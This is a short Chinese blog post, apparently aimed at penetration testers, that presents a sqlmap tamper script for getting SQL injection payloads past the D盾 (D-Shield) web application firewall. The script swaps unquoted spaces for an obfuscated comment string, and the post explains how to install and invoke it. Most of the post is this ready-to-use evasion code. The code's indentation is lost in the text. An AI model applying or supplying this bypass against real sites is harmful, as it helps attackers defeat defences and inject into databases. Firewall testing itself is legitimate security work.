在我们做项目的途中经常会遇到各种各样的waf,防火墙等来拦截我们的payload,这很是让渗透测试人员头疼,其实网上就有很多关于waf绕过原理的文章,这篇文章就是想告诉大家,当大家理解了网上关于waf绕过的文章的内容并对其原理了解后,其实把理论深化进实践中并没有多困难,本篇文章就是将一个简单常规的小思路实践了一下,便成功绕过了D盾的waf.
关于sql注入的waf绕过,说白了就是通过混淆你的sql语句,让他以另外一种方式呈现出来,以绕过waf的黑名单正则匹配,关于sql注入waf绕过的原理在这篇文章里不再重复,我们直接来看实例,分享一种bypass D盾的方法,这里直接贴上tamper。
话不多说,来看代码:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
BYPASS Ddun
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*DJSAWW%2B%26Lt%3B%2B*/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*DJSAWW%2B%26Lt%3B%2B*/"
continue
retVal += payload[i]
return retVal
使用方法:
将以上代码保存为BypassDdun.py,并放进sqlmap的\tamper目录,在下一次使用sqlmap的时候,参数加–tamper=BypassDdun即可调用这个脚本
常见问题FAQ
- 本站的资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。
- 我可以随意使用学习的技术么?
- 为什么有些资源打不开?